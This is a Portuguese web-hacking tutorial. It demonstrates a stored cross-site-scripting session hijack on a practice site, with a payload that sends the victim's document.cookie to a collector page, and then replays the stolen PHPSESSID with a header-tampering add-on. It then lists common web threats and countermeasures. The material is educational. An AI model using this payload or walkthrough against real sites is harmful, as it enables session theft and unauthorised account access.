Como hackear um site? Técnicas comuns de hacking de sites
Técnicas de hacking de sites
Mais pessoas têm acesso à Internet do que nunca. Isso levou muitas organizações a desenvolver aplicativos baseados na Web que os usuários podem usar online para interagir com a organização. Códigos mal escritos para aplicações web podem ser explorados para obter acesso não autorizado a dados confidenciais e servidores web.
Neste tutorial você aprenderá como hackear sites e apresentaremos a você técnicas de hacking de aplicativos da web e contra-medidas você pode implementar para se proteger contra tais ataques.
Como hackear um site
Neste cenário prático de hacking de site, vamos sequestrar a sessão do usuário do aplicativo web localizado em www.techpanda.org. Usaremos scripts entre sites para ler o ID da sessão do cookie e, em seguida, usá-lo para representar uma sessão de usuário legítima.
A suposição é que o invasor tem acesso à aplicação web e gostaria de sequestrar as sessões de outros usuários que utilizam a mesma aplicação. O objetivo deste ataque poderia ser obter acesso de administrador ao aplicativo da web, assumindo que a conta de acesso do invasor seja limitada.
Passo 1) URL aberto http://www.techpanda.org/.
Para fins práticos, é altamente recomendável obter acesso usando SQL Injection. Consulte isto neste artigo para obter mais informações sobre como fazer isso.
Passo 2) Insira os detalhes de login.
O e-mail de login é admin@google.com, a senha é Password2010.
Passo 3) Verifique o painel.
Se você fez login com sucesso, receberá o seguinte painel
Passo 4) Insira o novo conteúdo.
Clique em Adicionar novo contato e digite o seguinte como primeiro nome
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Passo 5) Adicionar Javascript.
O código acima usa JavaScript. Adiciona um hiperlink com um evento onclick. Quando o usuário desavisado clica no link, o evento recupera o PHP ID de sessão do cookie e envia-o para o snatch_sess_id.php
página junto com o ID da sessão no URL
Passo 6) Adicionar detalhes.
Insira os detalhes restantes conforme mostrado abaixo e clique em Salvar alterações
Passo 7) Verifique o painel.
Seu painel agora se parecerá com a tela a seguir
Passo 8) Verifique o ID da sessão.
Note: o script pode estar enviando o valor para algum servidor remoto onde o PHPSESSID está armazenado e o usuário será redirecionado de volta ao site como se nada tivesse acontecido.
Note: o valor que você obtém pode ser diferente daquele nesta página da web tutorial de hacking, mas o conceito é o mesmo
Representação de sessão usando Firefox e complemento Tamper Data
O fluxograma abaixo mostra as etapas que você deve seguir para concluir este exercício.
- Você vai precisar de Firefox navegador da web para esta seção e complemento Tamper Data
- Abra Firefox e instale o complemento conforme mostrado nos diagramas abaixo
- Procure por dados de violação e clique em instalar conforme mostrado acima
- Clique em Aceitar e instalar…
- Clique em Reiniciar agora quando a instalação for concluída
- Habilite a barra de menu em Firefox se não for mostrado
- Clique no menu de ferramentas e selecione Tamper Data conforme mostrado abaixo
- Você obterá a seguinte janela. Nota: Se o Windows não está vazio, aperte o botão limpar
- Clique no menu Iniciar Tamper
- Voltar para Firefox navegador da web, digite http://www.techpanda.org/dashboard.php em seguida, pressione a tecla Enter para carregar a página
- Você receberá o seguinte pop-up de Tamper Data
- A janela pop-up possui três (3) opções. A opção Tamper permite modificar as informações do cabeçalho HTTP antes de serem enviadas ao servidor.
- Clique sobre ele
- Você obterá a seguinte janela
- Copie o ID da sessão PHP você copiou do URL de ataque e cole-o após o sinal de igual. Seu valor agora deve ficar assim
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Clique no botão OK
- Você receberá a janela pop-up Tamper data novamente
- Desmarque a caixa de seleção que pergunta Continuar adulteração?
- Clique no botão enviar quando terminar
- Você deverá conseguir ver o painel conforme mostrado abaixo
Note: não fizemos login, personificamos uma sessão de login usando o valor PHPSESSID que recuperamos usando cross site scripting
O que é um aplicativo da Web? O que são ameaças da Web?
Um aplicativo da web (também conhecido como site) é um aplicativo baseado no modelo cliente-servidor. O servidor fornece o acesso ao banco de dados e a lógica de negócios. Ele está hospedado em um servidor web. O aplicativo cliente é executado no navegador da web cliente. Aplicações Web geralmente são escritas em linguagens como Java, C# e VB.Net, PHP, ColdFusion Markup Language, etc. os mecanismos de banco de dados usados em aplicativos da web incluem MySQL, MS SQL Server, PostgreSQL, SQLite, etc.
Principais técnicas de hacking de sites
A maioria das aplicações web está hospedada em servidores públicos acessíveis através da Internet. Isso os torna vulneráveis a ataques devido à fácil acessibilidade. A seguir estão ameaças comuns a aplicativos da web.
- Injeção de SQL – o objetivo desta ameaça pode ser contornar algoritmos de login, sabotar os dados, etc.
- Ataques de negação de serviço– o objetivo desta ameaça poderia ser negar aos usuários legítimos o acesso ao recurso
- XSS de script entre sites– o objetivo desta ameaça pode ser injetar código que pode ser executado no navegador do lado do cliente.
- Intoxicação por cookie/sessão– o objetivo desta ameaça é modificar cookies/dados de sessão por um invasor para obter acesso não autorizado.
- Adulteração de formulário – o objetivo desta ameaça é modificar dados de formulários, como preços em aplicativos de comércio eletrônico, para que o invasor possa obter itens a preços reduzidos.
- Injeção de código – o objetivo desta ameaça é injetar código como PHP, Python, etc. que podem ser executados no servidor. O código pode instalar backdoors, revelar informações confidenciais, etc.
- Defacement– o objetivo desta ameaça é modificar a página exibida em um site e redirecionar todas as solicitações de página para uma única página que contém a mensagem do invasor.
Como proteger seu site contra hackers?
Uma organização pode adotar a seguinte política para se proteger contra ataques a servidores web.
- Injeção de SQL – higienizar e validar os parâmetros do usuário antes de enviá-los ao banco de dados para processamento pode ajudar a reduzir as chances de ser atacado via Injeção de SQL. Mecanismos de banco de dados como MS SQL Server, MySQL, etc. parâmetros de suporte e instruções preparadas. Eles são muito mais seguros que as instruções SQL tradicionais
- Ataques de negação de serviço - firewalls podem ser usados para eliminar o tráfego de endereços IP suspeitos se o ataque for um simples DoS. A configuração adequada das redes e do Sistema de Detecção de Intrusão também pode ajudar a reduzir as chances de um ataque DoS teve sucesso.
- Script entre sites – validar e limpar cabeçalhos, parâmetros passados por URL, parâmetros de formulário e valores ocultos pode ajudar a reduzir ataques XSS.
- Intoxicação por cookie/sessão – isto pode ser evitado criptografando o conteúdo dos cookies, expirando os cookies após algum tempo, associando os cookies ao endereço IP do cliente que foi usado para criá-los.
- Temperamento de forma – isso pode ser evitado validando e verificando a entrada do usuário antes de processá-la.
- Injeção de código – isso pode ser evitado tratando todos os parâmetros como dados em vez de código executável. Sanitização e Validação podem ser usadas para implementar isso.
- Desfiguração – uma boa política de segurança de desenvolvimento de aplicações web deve garantir que ela sele o vulnerabilidades comumente usadas para acessar o servidor web. Esta pode ser uma configuração adequada do sistema operacional, software de servidor web e melhores práticas de segurança ao desenvolver aplicativos web.
Resumo
- Uma aplicação web é baseada no modelo servidor-cliente. O lado do cliente usa o navegador da web para acessar os recursos no servidor.
- Os aplicativos da Web geralmente são acessíveis pela Internet. Isso os torna vulneráveis a ataques.
- As ameaças de aplicativos da Web incluem injeção de SQL, injeção de código, XSS, desfiguração, envenenamento por cookie, etc.
- Uma boa política de segurança ao desenvolver aplicações web pode ajudar a torná-las seguras.